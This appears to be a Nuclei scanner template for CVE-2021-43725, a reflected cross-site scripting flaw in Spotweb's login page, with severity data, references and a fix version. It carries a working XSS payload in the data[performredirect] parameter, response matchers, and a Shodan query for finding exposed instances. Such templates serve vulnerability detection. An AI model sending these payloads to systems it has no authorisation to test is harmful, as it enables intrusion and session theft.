id: CVE-2021-43725

info:
  name: Spotweb <= 1.5.1 - Cross Site Scripting (Reflected)
  author: theamanrawat
  severity: medium
  description: |
    There is a Cross Site Scripting (XSS) vulnerability in SpotPage_login.php of Spotweb 1.5.1 and below, which allows remote attackers to inject arbitrary web script or HTML via the data[performredirect] parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, potentially leading to session hijacking, data theft, or other attacks.
  remediation: Fixed in version 1.5.2
  reference:
    - https://github.com/spotweb/spotweb/
    - https://github.com/spotweb/spotweb/issues/718
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43725
    - https://github.com/spotweb/spotweb/commit/2bfa001689aae96009688a193c64478647ba45a1
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-43725
    cwe-id: CWE-79
    epss-score: 0.00163
    epss-percentile: 0.52918
    cpe: cpe:2.3:a:spotweb_project:spotweb:*:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: spotweb_project
    product: spotweb
    shodan-query: title:"SpotWeb - overview"
  tags: cve,cve2021,xss,spotweb,unauth,spotweb_project

http:
  - method: GET
    path:
      - "{{BaseURL}}/?data[performredirect]=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&page=login"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'value=""><script>alert(document.domain)</script>'
          - 'name="data[performredirect]'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a0046304402205990eb03c07bff8f95196ad94df022af52861c263d536dd6b7b5ae0436a0ad3602204a494ff4ceba8fa187c7ad4c5520568c3d8a628919832050610396b57e6ac9ef:922c64590222798bb761d5b6d8e72950